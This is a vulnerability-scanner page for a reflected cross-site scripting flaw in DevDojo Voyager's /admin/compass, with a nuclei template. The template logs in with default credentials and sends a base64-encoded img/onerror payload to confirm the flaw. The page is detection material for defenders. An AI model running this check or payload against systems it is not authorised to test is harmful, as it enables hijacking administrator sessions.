Browse / CVEs / CVE-2024-55416
CVE-2024-55416
DevDojo Voyager <=1.8.0 - Cross-Site Scripting
lowseverity
20.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.
Impact
Authenticated attackers can craft malicious links that execute arbitrary JavaScript in the context of an administrator's session when clicked, potentially leading to account compromise or privilege escalation.
Fix
Update DevDojo Voyager to version 1.8.1 or later to address the reflected XSS vulnerability.
How to confirm it
Send: GET /admin/login
Send: POST /admin/login
Positive when: contains(body,'/admin</title>') and status_code == 302
Send: GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c=
Positive when: contains(location,'/admin/compass') and status_code == 302
Send: GET /admin/compass?logs=true
Positive when: contains(body,'Successfully deleted log file: <img src=x onerror=alert(1)>.log') and status_code == 200Run it with nuclei: nuclei -id CVE-2024-55416 -u <target>
The full check
id: CVE-2024-55416
info:
name: DevDojo Voyager <=1.8.0 - Cross-Site Scripting
author: iamnoooob,rootxharsh,pdresearch
severity: low
description: |
DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed.
impact: |
Authenticated attackers can craft malicious links that execute arbitrary JavaScript in the context of an administrator's session when clicked, potentially leading to account compromise or privilege escalation.
remediation: |
Update DevDojo Voyager to version 1.8.1 or later to address the reflected XSS vulnerability.
reference:
- https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
- https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
- https://nvd.nist.gov/vuln/detail/CVE-2024-55416
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
cve-id: CVE-2024-55416
epss-score: 0.2005
epss-percentile: 0.97467
metadata:
verified: true
max-request: 4
shodan-query: title:"Voyager"
tags: cve,cve2024,devdojo,xss,authenticated,vuln
variables:
username: "[email protected]"
password: "password"
http:
- raw:
- |
GET /admin/login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
internal: true
name: csrf
group: 1
regex:
- 'name="_token" value="([a-zA-Z0-9]+)"'
- raw:
- |
POST /admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_token={{csrf}}&email={{username}}&password={{password}}&
matchers:
- type: dsl
dsl:
- "contains(body,'/admin</title>')"
- "status_code == 302"
condition: and
internal: true
- raw:
- |
GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c= HTTP/1.1
Host: {{Hostname}}
redirects: false
matchers:
- type: dsl
dsl:
- "contains(location,'/admin/compass')"
- "status_code == 302"
condition: and
internal: true
- raw:
- |
GET /admin/compass?logs=true HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body,'Successfully deleted log file: <img src=x onerror=alert(1)>.log')"
- "status_code == 200"
condition: andReferences
- https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
- https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132
- https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
- https://nvd.nist.gov/vuln/detail/CVE-2024-55416
Use this check only on systems you are authorised to test. Where the data comes from